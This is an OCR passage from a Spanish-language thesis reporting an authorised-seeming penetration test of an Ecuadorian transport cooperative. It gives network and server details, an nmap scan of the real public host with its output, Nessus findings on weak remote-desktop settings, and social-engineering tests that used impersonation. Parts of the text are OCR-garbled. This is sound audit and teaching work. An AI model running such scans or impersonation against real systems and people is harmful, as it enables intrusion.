mediante acciones sistematicas de formacion.

e Todas las actividades son susceptibles de delegacion, tanto en la accién como en
su responsabilidad implicita.

e Realizar evaluaciones periddicas, permanentes a todos los procesos de la
organizacion.

e Mantener una sesién mensual documentada de trabajo de cada unidad, a fin de

coordinar y evaluar planes y programas, definir prioridades y plantear soluciones.

Politicas de Servicio

e Servicio de transporte de pasajeros.
e Seguro de pasajeros.

e Servicio de encomiendas.

e Brindar un buen trato al cliente.

e Refrigerio al cliente.

e Unidades confortables y que disponga de buenos equipos de video y musica.

Objetivos

1. Buscar el continuo mejoramiento del transporte interprovincial e intercantonal de
pasajeros dentro de la cooperativa, para lo cual sus directivos realizaran
evaluaciones periodicas del sistema de trabajo de sus unidades, personal,

administrativos, choferes, con el fin de mejorar el servicio a nuestros usuarios de

39



acuerdo con el Contrato de Operacion emitido a la institucion.

2. Vigilar que los vehiculos de los cooperados que son parte de la Cooperativa se
encuentran en buen estado mecanico y de presentacion, reuniendo siempre las

condiciones de seguridad para brindar un servicio de calidad.

3. Establecer y poner en practica el servicio de asistencia social, juridica y médica,
estos dos ultimos a través de convenios institucionales, con el fin de auxiliar a sus
miembros en caso de accidente o calamidad domestica debidamente comprobados,
para lo cual sus directivos estableceran un fondo de asistencia social dentro de la

planeacion estratégica y presupuesto anual de la Cooperativa.

4. Crear una caja de ahorro y crédito del “Buen Vivir”, a fin que la organizacion
realice préstamos a sus asociados para realizar los arreglos y reparaciones de los
vehiculos que forman parte del parque automotor de la Cooperativa, como también

cubrir las necesidades.

Atribuciones y deberes

1. Planificar y evaluar el funcionamiento de la cooperativa.

2. Aprobar politicas institucionales y metodologias de trabajo.

3. Proponer a la asamblea reformas al estatuto social y reglamentos que sean de su
compromiso.

4. Dictar los reglamentos de administracion y organizacion internos, no asignados a
la Asamblea General;

5. Aceptar o rechazar las solicitudes de ingreso o retiro de socio;

6. Sancionar a los socios de acuerdo con las causas y el procedimiento establecidos
en el Reglamento Interno. La sancién con suspension de derechos, no incluye el

derecho al trabajo. La presentacion del recurso de apelacién, ante la Asamblea
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10.

11.

12.

13.

14.

15.

16.

17.

18.

19.

20.

General, suspende de aplicacion de la sancion;

Designar Presidente, Vicepresidente y Secretario del Consejo de Administracion;
y comisiones o comités espaciales y removerlos cuando inobservaren la normativa
legal y reglamentaria;

Nombrar al Gerente y Gerenta subrogante y fijar su retribucién econdémica;

Fijar el monto y forma de las cauciones, determinando los obligados a rendirlas;
Autorizar la adquisicion de bienes muebles y servicios, en la cuantia que fije el
Reglamento Interno;

Aprobar el plan estratégico, el plan operativo anual y su presupuesto y someterlo
a conocimiento de la Asamblea General,

Resolver la afiliacion o desafiliacion a organismos representativa o economica;
Conocer y resolver sobre los informes mensuales del Gerente;

Resolver la apertura y cierre de oficinas operativas de la cooperativa e informar a
la Asamblea General;

Autorizar el otorgamiento de poderes por parte del Gerente;

Informar sus resoluciones al Consejo de Vigilancia.

Aprobar los programas de educacion, capacitacion y bienestar social de la
cooperativa con sus respectivos presupuestos.

Sefialar el nimero y valor minimos de certificado de aportacion que deban tener
los socios ya autorizar su transferencia, que sélo podra hacerse entre socios o0 a
favor de la Cooperativa.

Fijar el monto de las cuotas ordinarias y extraordinarias para gastos de
administracion u otras actividades, asi como el monto de multas por inasistencia
injustificada a la Asamblea General.

Cumpliry hacer cumplir los principios de valores y principios del cooperativismo.

Estructura Organizacional de la Cooperativa de Transporte Flota Pelileo.
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Figura 111: Organigrama de la Cooperativa de Transportes Flota Pelileo.
Elaborado por: El investigador.

Fuente: Cooperativa de Transportes Flota Pelileo.

Software detallado por departamento



Tabla 10: Resumen de Software

Software
Departamento Nombre Version Tipo
Windows 7 Pro 64-bits Sistema Operativo
Gerencia Microsoft Word 2010 64-bits Ofimaética
Anydesk 6.2.3 Acceso Remoto
Windows 7 Pro 64-bits Sistema Operativo
Secretaria | Microsoft Word 2010 64-bits Ofimatica
Anydesk 6.2.3 Acceso Remoto
Windows 7 Pro 64-bits Sistema Operativo
Gerencia i i _
. Microsoft Word 2010 64-bits Ofimatica
Contabilidad
Anydesk 6.2.3 Acceso Remoto
Windows 7 Pro 64-bits Sistema Operativo
Auxiliar i i _
Microsoft Word 2010 64-bits Ofimatica
Contable
Anydesk 6.2.3 Acceso Remoto
Windows 7 Pro 64-bits Sistema Operativo
Sistemas Microsoft Word 2010 64-bits Ofimatica
Anydesk 6.2.3 Acceso Remoto
Windows 7 Pro 64-bits Sistema Operativo
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Boleteria y Microsoft Word 2010 64-bits Ofimatica
Encomiendas Anydesk 6.2.3 Acceso Remoto
Windows 7 Pro 64-bits Sistema Operativo
Talento
Microsoft Word 2010 64-bits Ofimatica
Humano
Anydesk 6.2.3 Acceso Remoto

Elaborado por: El Investigador.

Recursos de Hardware

Fuente: Cooperativa de Transportes Flota Pelileo.

Se detalla las caracteristicas de las computadoras de la Cooperativa de Transporte Flota

Pelileo por departamento.

Tabla 11: Resumen de Hardware.

Hardware
Departament )
Componente Marca Accesorios Impresora
0
Monitor LG Teclado, Mouse
Procesador Intel Teclado, Mouse
Gerencia No
RAM 4GB Teclado, Mouse
Disco Duro 500 GB Teclado, Mouse
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Monitor Samsung Teclado, Mouse
Procesador Intel Teclado, Mouse
Secretaria Si
RAM 4GB Teclado, Mouse
Disco Duro 500 GB Teclado, Mouse
Monitor LG Teclado, Mouse
Procesador Intel Teclado, Mouse
Si
Contabilidad RAM 8 GB Teclado, Mouse
Disco Duro 1TB Teclado, Mouse
Monitor LG Teclado, Mouse )
Si (comparte
con el
Auxiliar Procesador Intel Teclado, Mouse
. Departament
Contabilidad RAM 4 GB Teclado, Mouse o de
Contabilidad
Disco Duro 500 GB Teclado, Mouse )
Monitor LG Teclado, Mouse
Procesador Intel Teclado, Mouse
Sistemas No
RAM 8 GB Teclado, Mouse
Disco Duro 1TB Teclado, Mouse
Monitor LG Teclado, Mouse
Boleteriay )
_ Procesador Intel Teclado, Mouse Si
Encomiendas
RAM 8 GB Teclado, Mouse
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Disco Duro 500 GB Teclado, Mouse

Monitor LG Teclado, Mouse
Talento Procesador Intel Teclado, Mouse g
Humano RAM 4GB Teclado, Mouse |

Disco Duro 500 GB Teclado, Mouse

Elaborado por: El Investigador.
Fuente: Cooperativa de Transportes Flota Pelileo.
Descripcion del Servidor
Tabla 12: Resumen de Software del Servidor.
SOFTWARE
Nombre Version Tipo

Windows Server 2012 R2 Standard Sistema Operativo Servidores
Microsoft Office 2010 Ofimatica

Elaborado por: El investigador.
Fuente: Cooperativa de Transportes Flota Pelileo.

Tabla 7: Resumen de Hardware del Servidor.
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Cantidad Componente Marca
1 Servidor HP
Capacidad 3 Discos
RAM 32GB
Configuracion RAID 3

Elaborado por: El investigador.

Fuente: Cooperativa de Transportes Flota Pelileo.

Topologia de la Red

"
Roser}
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Figura 12: Topologia de red de la Cooperativa de Transportes Flota Pelileo
Elaborado por: El investigador

Fuente: Cooperativa de Transportes Flota Pelileo.

Deteccion de problemas

El espacio destinado para esta area de TI es pequefio, no cuenta con un ambiente
ventilado para el correcto funcionamiento del servidor.

¢ No tienen UPS para prevenir descargas eléctricas.

e Paratodos los procesos respecto a tecnologia solo se cuenta con una sola persona
lo cual provoca deficiencia al dar servicio técnico.

e EI Sistema Operativo de todos los equipos de la Cooperativa no cuenta con
licencias, se debe analizar su adquisicion, también no cuenta con antivirus,
provocando que las maquinas sean vulnerables a cualquier situacion como virus,
computadores lentos, etc.

¢ No cuenta con ningun tipo de politicas en cuanto a tecnologia.

3.3 Andlisis de las estrategias y herramientas necesarias para la ejecucion de las

Pruebas de Penetracion y Hacking Etico

Tabla 8: Tipos de Analisis y Deteccion de Vulnerabilidades
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Tipo Carcteristica izl s Observacion
al proyecto
. - Tiene como objetivo
Tiene un objetivo . .
. Si detectar vulnerabilidades
definido i
en partes especificas
Tiene en cuenta el . Aplica vulnerabilidades y
P entorno de Si .
Analisis de i . fallos conocidos
Vulnerabilidades [2£9urdad actua
Trata de Solo lista las
comprometer los [No wvulnerabilidades
sistemas objetivos detectadas
Explota las NoO No explota las
wvulnerabilidades wvulnerabilidades
Tiene un objetivo si Aplica vulnerabilidades y
definido fallos conocidos
Tiene en cuenta el . Aplica wvulnerabilidades y
entorno Si .
. fallos conocidos
de seguridad actual
Test de Trata de ) Lista y trata de
Penetracion c_ompromete_er !os Si cpmprometc_er !os
sistemas objetivos sistemas objetivos
Explota las
Explota las . wvulnerabilidades en un
. Si .
wvulnerabilidades entorno real y virtual
(simular un ataque real)
. i Toda la Infraestructura
Tiene un objetivo L
. No Tecnologica es su
definido o
objetivo
Tiene en cuenta el .
Actlia como un atacante
entorno No real
de seguridad actual
Hacking Etico Alisi A
g Trata de Su anal!5|s es mas
. complejo y profundo al
comprometer los Si
. s comprometer los
sistemas objetivos . .
sistemas objetivos
Explota las . Explota !a_s
. Si wvulnerabilidades
wvulnerabilidades .
de manera directa y pura

Se puede observar en la tabla 14, que el Test de Penetracion es la mejor opcion para el
presente proyecto ya que se orienta al servidor de la Cooperativa de Transportes Flota

Pelileo.

Elaborado por: El Investigador.

Herramientas de reconocimiento
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Caracteristica | Maltego i Anubis Foca Uniscan VA
Harvester Route
Versién Version Version Version
Costo libre Version libre|libre libre Version libre |libre
y de paga y de paga |y de paga y de paga
Windows .
Windows, XP, 7, ;’(Vp'”\dgc")‘gg \
Plataforma Mac, Linux Windows  [Server, Linux .
. . Vista\ 7,
Linux. Vista Mac OS X
(32/64 bits),
Actualizacion / Si Si No S Si si
Soporte
Facildadde |\ oo |Medio  |Fecil Facil Medio Facil
Manejo

Elaborado por: El Investigador.

De acuerdo al anélisis de las herramientas de reconocimiento tabla 15, Maltego, The

Harverster y Uniscan cuentan con sus versiones libres y constante actualizacion, Se eligi

la herramienta Maltego con su version de prueba limitada por 30 dias.

Herramientas de sondeo de puertos
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Tabla 10: Herramientas de sondeo de puertos.

Caracteristica SuperScan 4 SuperScan 6 Nmap
Costo Version libre Version libre GratLito
y de paga y de paga

Linux, Mac

Plataforma Windows Windows OS_ X,
Windows y
UNIX

Actualizacion / si Si si

Soporte

Facilidad de Facil Facil Medio

Manejo

Elaborado por: El Investigador.

Mediante el analisis de sondeo de puertos de la tabla 16, NMAP es el mas eficaz porque
cuenta con diferentes funciones y scripts para explorar las redes de computadoras,

incluyendo la deteccion de equipos y sistemas operativos.

Herramientas de deteccién de vulnerabilidades
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Tabla 11: Herramientas de deteccion de vulnerabilidades.

Caracteristica OpenVAS Nessus Vega Nexpose
Version libre Version libre Version libre \(erswn
Costo libre
y de paga
MS
Windows
Centos, Debian, . Server 2003
Fedora Microsoft SP2 / Server
Plataform o enSl,Jse Windows, Linux, OS Xy 2003 R2,
atatorma P ' Mac OS X, Linux,|Windows Red Hat
RedHat, Ubuntu, .
. FreeBSD Enterprise,
Windows
Ubuntu
LTS, SuSE
Linux
Actualizacion / si si si si
Soporte
Facilidad de Facil Facil Facil Facil
Manejo

Elaborado por: El Investigador.

Mediante la tabla 17, herramientas de deteccion de vulnerabilidades por su version libre
se elige Nessus y Vega siendo las méas accionadas en cuanto al nimero de direcciones ip

a analizar, actualizacion y la generacion de reportes.

Herramientas de explotacion
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Tabla 12: Herramientas de explotacion.

Caracteristica Metasploit Hping3 Hydra Ettercap
Version libre Version libre Version libre \_/er5|on
Costo libre
y de paga
GNU/linux,
FreeBSD,
Plataforma Windows 64-Bit, NetBSD, Linux Linux /
Linux: 64/32 Bits|  OpenBSD, Windows
Solaris y
Mac OS X.
Actualizacion / si Si si si
Soporte
Facilidad de Medio Facil Facil Facil
Manejo

Elaborado por: El Investigador.

Segun el analisis de la tabla 18, el Sistema Operativo Kali Linux disefiado principalmente
para la Auditoria y Seguridad Informatica en general, trae preinstalados méas de 600
programas incluyendo Metasploit (software de pruebas de penetracion), Ettercap (un
sniffer), Hydra (crackeador de passwords) entre otras herramientas, Hydra fue
seleccionada para utilizar en el presente proyecto.

3.4 ldentificacion de vulnerabilidades en el servidor que puedan ser explotadas por

intrusos malintencionado

Para el cumplimiento de los mddulos de las secciones en mencion, se utiliza las

herramientas informaticas ya estudiadas y seleccionadas.
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Seccion Seguridad de la Informacion

Modulo de Revision de la Inteligencia Competitiva

El objetivo de este modulo es, conseguir toda la informacion posible de la organizacion

que se va a auditar, esto se lo realiza de manera pasiva porque no se tiene un contacto

directo con la institucion auditar.

Mediante la herramienta Maltego se investiga las relaciones existentes que tiene un

determinado dominio en este caso flotapelileo.com.ec

BeBmEEBRS ¢ @& Maltego Community Edition 4.2.19

A4 Investigate  View 2 Collections Transforms ~ Machines. Collaboration import | Export  Windows

r. 1] Clear Graph | e of esuts | Privacy Hode Q E e Select Al Add Parents Add Neighbors ren M Select Bookmarked
] =% L

c — e
opy Paste i 1 1 | WlNomal V| quick Findin | Enty
b Delete 2 50 28 10k Find Fies | Selection ¥ invert Selection &4 Add Simiar Sibings ;*; Se rents (7 Select Leaves

ors X SelectbyType

New Graph (1) X

An internet Uniform Resource Lo

s DNS Name

%4 Hub Transform Inputs

Figura 13: Maltego transformacion del dominio

En la figura 13, se puede observar las transformaciones DNS aplicando a un tipo Domain

nombrado flotapelileo.com, se muestra un servidor web relacionado as flechas muestran
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que hay conexién entre el objeto principal(padres) y los objetos secundarios(hijos), las
estrellas amarillas reflejan que el objeto provee servicios web.

Resultados de Maltego

Tabla 13: Lista de Servidores

Direccién IP PuUblica Servicio

www.flotapelileo.com.ec 45.6.227.87 | DNS Name

Elaborado por: El Investigador.

El buscador de Google, es mas provechoso siempre que se lo utilice de forma que se pueda
filtrar informacion y reducir los resultados al maximo, esto se lo realiza mediante la

utilizacion de sus operadores, esta técnica se la denomina “Google Hacking”

Camp flota pelileo X Q G 3

2 Todo [ Imager @ Maps [ Videos [ Noticias  § Ma Herram

~erca de 44. 1
https:/Avww.ecuadorbus.com.ec » flota-pelileo -

v
Flota Pelileo - Informacion de Horarios, teléfonos y pasajes =] ”""‘”“”Qﬁ e
Flota Pelileo es una cooperativa de transporte ecuatoriana originaria de la cludad Pelileo, v
® CIUDADELA %

localizada en el centro de la Region Interandina y de la GARZOTA

sitaste esta pagina 2 veces. Ultima visita: 28/03/21 [=]

a @

Opgrosuayts Datos del mapa £2021
https:/Motapelileo.com.ec e
Cooperativa de Transporte Flota Pelileo - Flota Pelieo

Lunes a viemes: de 9:00 a 17:00 h. Sabado y domingo: de 11:00 a 15:00 h. © 2021 Cooperativa

de Transporte Flota Pelileo - Funciona con WordPress Stowen)| |[Scomeleger | Guardir

fisitaste esta pagina 3 veces. Ultima visita: 04/08/2 Servicio de transporte en Guayaquil

Ubicado en: Terminal Terrestre de Guayaquil

htp €C> transportes » cooperativa-de-trans... v

- o . < Dil i6n: Terminal t il, 71, PB, A
Cooperativa de Transporte Flota Pelileo - Pasajes y Teléfonos ... receifasiimioal Iamatiie ol Pl ERI

Rosales, Guayaquil 090505
Teléfono: (04) 213-0189

Compra de pasaies y descuentos Cooperativa de Transporte Flota Pelileo - Liamando y
reservando a los nimeros de teléfonos (593) 3 287.17. - Dirigiéndote a las
Agencias en Ecuador - Compra de pasajes y descuentos - Servicios de

9 VIAse proaenY, Sugerir una edicion -  Eres propletario de esta empresa?

https:/Avww.ecuador-turistico.com » 2016/02 » coopera... v

Cooperativa de Transportes Flota Pelileo - Ecuador Turistico
25 feb, 2016 — Numeros de contactos de la Cooperativa Transportes Flota Pelileo. Numero de
teléfono, oficinas, ciudad, directorio Preguntas y respuestas

¢Conoces este lugar? Comparte la informacién mas reclente

Hacer una pregunta

Figura 14: Busqueda en Google
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http://www.flotapelileo.com/

En la figura 14, se observa la busqueda de “Flota Pelileo” en el buscador de google, el
resultado es de mas de tres mil resultados, el nimero de resultados se lo puede reducir
mediante “Google Hacking”. Buscando informacién en la base de datos NIC (Network
Information Center); “NIC es la autoridad que delega los nombres de dominio a quienes
los solicitan. Cada pais en el mundo cuenta con una autoridad que registra los nombres
bajo su jurisdiccion. Por autoridad no nos referimos a una dependencia de un gobierno,

muchos NIC’s en el mundo son operados por universidades o compaiiias privadas”[34].

En el navegador de preferencia se ingresa a la direccion https://nic.ec/ y se digita el

dominio en investigacion, en este caso flotapelileo.com.ec

ec Dominio ~  Alojamiento - Correos ~ Seguridad - Ofertas en combo Espafiol (Spanish) Iniciar Sesién .Q

Resultados de la busqueda Whois para el dominio www.flotapelileo.com.ec
Nombre de dominio: www.flotapelileo.com.ec

Domain Name: flotapelileo.com.ec

Creation Date: 2013-11-20T22:53:13.02

Registry Expiry Date: 2021-11-20723:00:00.0Z

Registrar Registration Expiration Date: 2021-11-20T23:00:00.0Z
Registrar: LogicBoxes

Registrar Abuse Contact Email: apac-tidadmin@endurance.com
Registrar Abuse Contact Phone: +1.8322851535

Domain Status: ok https://icann.org/epp#ok

Name Server: dns1.nodovip.com

Name Server: dns2.nodovip.com

>>> Last update of WHOIS database: 2021-08-05T03:44:19.6172 <<<
For more information on Whois status codes, please visit hitps:/ficann.org/epp

Los datos detallados a continuacion por NIC.EC es informacién publica cuyo proposito es
tnicamente informativo que sirve para la obtencién de la informacién acerca de o

relacionado con los registros de un Nombre de Dominio. Los datos se muestran de acuerdo

Figura 15: Consulta de Flota Pelileo en NIC.

En la figura 15, se observa el resultado de la consulta del dominio flotapelileo.com.ec en
la base de datos NIC, se aprecian que los datos que obtengo como resultado es solamente

con proposito informativo, no revela datos de personas naturales o empleados de la
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Institucion ya que de esa manera se podria utilizar la informacién para un ataque de

Ingenieria Social.

Moddulo de Revision de la Privacidad

En este modulo se explora que los datos de los empleados considerados como privados no
sean expuestos ante todo el mundo, de igual forma la confidencialidad con la cual se

manipula la distribucion de informacion a los empleados.

Uno de los principios basicos de Seguridad Informatica es la Confidencialidad la cual se

define en, la no divulgacion de informacion de manera no autorizada.

La informacion de instituciones publicas es transparente y estan obligadas a difundirla
mediante un portal o sitio web, esto permite acceder a nombres de autoridades, directores

y deméas empleados, en caso de la Cooperativa flotapelileo.com.ec.

La web de la Cooperativa de Transportes Flota Pelileo, proporciona la siguiente tabla de

Autoridades.

Tabla 14: Autoridades de la Cooperativa de Transportes Flota Pelileo

Cargo Nombres del encargado
Presidente Dennis Barahona
Gerente Ing. Patricio Toctaquiza

Elaborado por: El Investigador.
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Modulo de Recoleccion de Documentos

En este punto se procesa toda la informacion recolectada anteriormente para extraer datos
importantes de cada uno de los documentos tales como nombres de usuarios, empleados

claves de la institucion, correos electronicos, entre otros.

Se obtuvo documentos publicados en internet como:

e Nombres completos de varios empleados y autoridades pertenecientes a la
Cooperativa.

e Datos personales como cédula, direccion de domicilio, fechas de nacimiento, entre
otros.

¢ Informes de Auditorias internas de gastos.

Mediante un analisis de los metadatos de los documentos obtenidos se puede definir
nombres de usuarios relacionados con la Cooperativa. Los datos personales pueden ser
usados para la aplicacion de Ingenieria Social, robo de informacion mediante phishing,

creacion de diccionario de datos, entre otros.

Como auditor me dieron acceso solo a algunos equipos de la Cooperativa de los cuales

pude extraer la siguiente informacion:
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Tabla 15: Hardware de la Cooperativa de Transportes Flota Pelileo.

Departamento | Cantidad | Componente| Marca
1| Monitor LG
1|Procesador | Intel

Gerencia
1| RAM 4GB
1| Disco Duro |500 GB
1| Monitor LG
1|Procesador | Intel
Secretaria
1|RAM 4GB
1| Disco Duro |500 GB
1| Monitor LG
1|Procesador | Intel

Contabilidad 1 RAM 8 GB
1|DiscoDuro |[1TB
1| Monitor LG

Auxiliar 1|Procesador | Intel

Contabilidad 1IRAM 4GB

1|Disco Duro |500 GB
Sistemas 1| Monitor LG
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1| Procesador Intel

1|RAM 8 GB

1| Disco Duro |500 GB

1| Monitor LG

Boleteria y 1|Procesador | Intel

Encomiendas 1IRAM 4GB

1| Disco Duro |500 GB

1| Monitor LG

Talento 1 | Procesador Intel

Humano 1|RAM 4GB

1| Disco Duro |500 GB

Elaborado por: El Investigador

Seccion Seguridad de los Procesos

Testeo de Solicitud

Se obtuvo informacién, mediante una llamada telefénica, logrando un resultado positivo
puesto que la persona que contesto la Ilamada, facilito los datos responsables del

encargado de sistemas.
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Realizado el testeo de solicitud se puede concluir que la secretaria que toma las llamas no

tiene cuidado suficiente en revelar informacion.

Testeo de Sugerencia Dirigida

Se realizo, la prueba mediante la suplantacion de identidad fisica, Pedro que se ha
identificado como pariente del encargado de sistemas ha comentado a la secretaria que ha
sido enviado para que le faciliten cierta informacion, la misma lo ha dejado pasar al

departamento de sistemas.

Realizado el testeo de sugerencia dirigida se concluye que el personal de la Cooperativa,
no tiene el conocimiento adecuado para evitar que personas mal intencionadas puedan
acceder a las instalaciones, asi como a la informacién que se maneja en dicho

departamento.

Testeo de las Personas Confiables

Para realizar el testeo, se solicito a un familiar de uno de los colaboradores de la
Cooperativa de Transportes Flota Pelileo, el mismo que tenia como objetivo recabar
informacién sobre los aplicativos que se manejan y el servidor donde se ejecutan,

indicando que es para un trabajo universitario.

El cual obtuvo una respuesta negativa, ya que para dicha actividad previamente se debia
entregar una solicitud autorizada por la Cooperativa donde se detalle la informacion que
se necesita y mediante un andlisis se verifica si es factible o no brindar la informacién

solicitada.
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Realizado el testeo de personas confiables se concluye que el personal encargado del
departamento de sistemas tiene el conocimiento adecuado para evitar que personas mal

intencionadas puedan acceder a la informacion que se maneja.

Seguridad en las Tecnologias de Internet

Sondeo de Red

Se obtiene las direcciones ip a auditar por parte de la Cooperativa y se hace un
reconocimiento de la red institucional de manera detallada, cabe mencionar que existe

informacion confidencial a la cual el auditor no tiene acceso.

Tabla 16: Redes internas de la Cooperativa de Transportes Flota Pelileo

Red Mascara Observacion
192.168.100.1 | 225.225.225.0 | Secretaria
192.168.0.1 225.225.225.0 | Gerencia
192.168.0.2 225.225.225.0 | Presidencia

Elaborado por: El Investigador

Lista de servidores de la Cooperativa
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Tabla 17: Servidor de la Cooperativa de Transportes Flota Pelileo

NUmero Direccién Nombre

1 45.6.227.87 flotapelileo.com.ec

Elaborado por: El Investigador
Identificacidn de Servicios y Sistemas

En esta seccidn ejecuta un sondeo de puertos en el servidor para descubrir que servicios

se estan ejecutando actualmente.
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Figura 16: Escenario real del servidor

Elaborado por: El Investigador

En la figura 16, se muestra el escenario real para el sondeo de puertos.

Se utiliza la herramienta NMAP con su interfaz Zenmap para realizar los respectivos
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sondeos de puertos y servicios a cada uno de los equipos en cuestion.

® Zenmap
Escaneo Hermamientas Perfil Ayuda (H)

Objetivo: | 43.6.227.87 | Perfik | Quick scan plus v| |Escaneo
Comando: | nmap -sV -Td -0 -F --version-light 45.6.227.87

Senvidores | Senicios Salida Nmap Puertos / Servideres Topologia Detalles del servidor Escaneos

05 4 Servidor a  nmap-sV -T4-0 -F --version-light 45.6.227.87
4552781 Starting Mmap 7.8@ ( https://nmap.org ) at 2021-08-84 22:16 Hora est. Pacifico, Sudamérica
g Nmap ( ) ;
Wmap scan report for 45. 7

Host is up (0.0099s latency)
Not_shown: 98 filtered ports
PORT  STATE SERVICE VERSION

ft 115 httpd B.5

s may be unreliable because we could not Find at least 1 open and 1 closed port

Running T GUESSING): Linux 2.4.X (8B%)
05_CPE: ¢pe:/o:linux:1inux_kernel:2.4.20
Aggressive 05 puesses; Jomato 1,27 - 1,28
No exact 0S matches for host (test c
Service Info: 05: Windows; CPE: cpe:/o:micro

(Linux 2.4.28) (88%)
1).

05 and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmgp done: 1 IP address (1 hest up) scanned in 38.73 seconds

Figura 17: Sondeo de puertos con nmap

Servidor flotapelileo.com.ec

Tabla 18: Nmap a flotapelileo.com.ec

Puerto Protocolo Servicio Detalle

3039 | tcp ssl/ms-wbt-server?

8080 | tcp http Microsoft IS httpd 8.5

Elaborado por: El Investigador

Basqueda y Verificacion de Vulnerabilidades

En esta seccion se indagan los posibles fallos, errores o vulnerabilidades de sistemas

operativos, esto se lo realiza mediante el sondeo de vulnerabilidades, luego se explota
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(pruebas de penetracion) los fallos que se hayan detectado en el objetivo.

Para realizar lo mencionado se utilizan los programas de escaneo de vulnerabilidades
Nessus y Vega, para la verificacion, un framework de explotacion el cual incluye

herramientas de reconocimiento, escaneo, analisis y explotacion de vulnerabilidades.

Escaneo de vulnerabilidades con NESSUS

45.6.227.87
0 21

CRITICAL HIGH MEDIUM LW INFO
Scan Information
Start time: Sat Aug 14:13:04:43 2021
End time: Sat Aug 14: 13:14:33 2021
Host Information
IP: 45.6.227 .87
0s: Microsoft Windows Server 2012 R2

Figura 18: Escaneo de Vulnerabilidades con Nessus

Como se observa en la figura 18, tiene 2 vulnerabilidades de nivel medio y 21 de

informacion. A continuacidn, se detalla las vulnerabilidades encontradas:

Terminal Services Doesn't Use Network Level Authentication (NLA) Only

Nivel de riesgo
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Medio

Conclusion

Los servicios de Terminal Server remotos no utilizan Unicamente la autenticacion de nivel
de red.

Terminal Services Encryption Level is Medium or Low

Nivel de riesgo

Medio

Conclusion

El host remoto esta utilizando una criptografia débil.

Escaneo de puertos con Nessus

Mediante este escaneo es posible determinar qué puertos TCP estan abiertos.

Este complemento es un escaner de puerto SYN 'medio abierto'. Las exploraciones SYN
son menos intrusivas que las exploraciones TCP (conexion completa) contra servicios
rotos, pero pueden causar problemas para cortafuegos menos robustos y también dejar

conexiones sin cerrar en el objetivo remoto, si la red esta cargada.

66



Tabla 19:Puerto escaneados con Nessus

Puerto Nivel de riesgo
53/tcp Ninguno
3389/tcp Ninguno
8080/www Ninguno

Informacién de escaneo de Nessus

Este complemento muestra informacidn sobre el analisis de Nessus.

Detalla para cada host probado, informacion sobre el escaneo en si:

e Laversion del conjunto de complementos.

e El tipo de escaner (Nessus o Nessus Home).

e Laversion del motor Nessus.

e Los escaneres de puertos utilizados.

e Elrango de puertos escaneado.

e Eltiempo de ida y vuelta del ping

e Sies posible realizar comprobaciones de gestién de parches con credenciales o de
terceros.

e Silavisualizacién de parches reemplazados esta habilitada

e La fecha del escaneo.

e Laduracion del escaneo.

e EIl nimero de hosts escaneados en paralelo.

e EIl nimero de comprobaciones realizadas en paralelo.
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Information about this secan :

Negsus wversion : B.15.1

Hesgsus build : 20272

Flugin feed wersion : 202108280517
Scanner edition uwsed : Nessus Home
Scanner 03 : LINDX

Scanner distribution : esB-x86-64

Scan type : Hormal

Scan name : My Basic Network Scan

Scan policy used : Basic Hetwork Scan
Scanner IP : 172.17.0.3

Port scanmer(s) : nessus_8yn_ scanner
Port range : default

Ping RTT : 103.575 ms
Thorough tests : no
Experimental tests : no

Paranocia lewel : 1
Feport werbosity : 1
Safe checks : yes
Optimize the teat : yes

Credentialed checks : no

Fatch manageme: checks : None
Display superseded patches : yes (supersedence plugin launched)

CEI =scanning :
a : disabled

Backports : Hone

Allow post=scan editing: Yes
Scan Start Date : 2021/8/28 13:04 UTC
Scan duratien : 563 sec

Figura 19: Informacion del escaneo con Nessus

Identificacion de S.O.

Usando una combinacion de sondas remotas (por ejemplo, TCP / IP, SMB, HTTP, NTP,
SNMP, etc.), es posible adivinar el nombre del sistema operativo remoto en uso. A veces

también es posible adivinar la version del sistema operativo sistema.
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Figura 20: Identificacion de S.O.

Conclusion

Es posible adivinar el sistema operativo remoto.

Deteccion de proxy de interceptacion / NAT inversa

Descripcion

Reverse NAT es una tecnologia que permite que varias computadoras ofrezcan servicios

publicos en diferentes puertos a través del mismo Direccion IP.

Segun los resultados de las huellas dactilares del sistema operativo, parece que diferentes

sistemas operativos estan escuchando en diferentes controles remotos puertos.

También puede indicar la presencia de un proxy interceptor, un equilibrador de carga o un

trafico moldeador.
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Figura 21: Deteccion de proxy de interceptacion / NAT inversa

Conclusion

La direccion IP remota parece conectarse a diferentes hosts a través de NAT inversa, o

hay un proxy interceptor en el camino.

Los servicios de terminal utilizan SSL / TLS

Descripcion

Los servicios de Terminal Server remotos estan configurados para usar SSL / TLS.
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Common Hame: PELBATEBSERVER.nts.cC

n

Common Mame: PELBATEBSERVER.nCS.cC

Serial Wumber: 51 26 26 4E C3 F7 3A 96 41 92 3D 06 65 93 53 C

Version: 3
Signature Algorithm: SHAR=256 With RSA Encryption

Hot Walid Before: Jul 09 03:57:35 2021 GMT
Mot Walid after: Jan 08 03:57:35 2022 GMT

Fublic Hey Info:

Algorithm: RSA Encryption

Key Length: 2048 bits

Public Key: 00 Al 8% DA D6 FE 52 04 %1 45 44 92 25 CC BA Dé BR F2 09 39
B3 C1 €5 FA 92 B8 F4 EBE €9 R0 9D FC 08 €B F3 28 42 28 35 6D
55 60 C4 B2 5B BF A% BF 9B 4B C8 24 4B &1 80 Bl 3A E4 C2 1D
53 3E 91 74 52 3E 4C 1D 30 A0 S El B3 2D 1F QE 9B
0D 53 16 SE 8F 28 01 0C 74 E1 4 C DD 74 BD A1 03
ED 98 DE 48 35 9B &7 85 BC F3 4C ia BC SE 9C 2C
59 DC Cl AB C3 62 02 €2 4C mRA 9C 20 D7 F2 83 6D 7B C6 D3 5C
93 Al 1B 10 7E 26 E8 F6 FD EBE (04 28 D4 F6 F6& 68 BD 95 2B 4D
BE C4 21 04 37 Cl DA 82 DB BE B4 E4 3 A EE 48 B9
3 GE 3D 30 F9 13 46 Cl1 8D CA 93 16 T
7E DD %7 CE GE A6 E5 29 36 87 16 05
90 C& FD 07 BC 28 BO 1F E3 53 71 D8 &E
B3 DF 48 OE 2B 73 F3 25 8F FO 63 2C FO 40 50 17 cCD

Exponent: 01 00 01

[l o W0 o
L B
S om e
- iy
L
o
i
1
=]
kS

1 o
(L
o
[ ]

m
ﬁ (=T ]
= 0
m L
-]
1
m
1
o
0
Lr

7T E1 C5 94

Signatur
Signatur

o

Length: 256 bytes / 2048 bit
00 05 58 6E 59 80 44 E3 59
0A 39 D8 BE AC 36 35 35 9a
D3 S5E F& 0D 27 FD 57 CAR F%
9D 23 4D 14 3F 18 59 15 09
DD CA E1 71 84 8D B1 5D 70
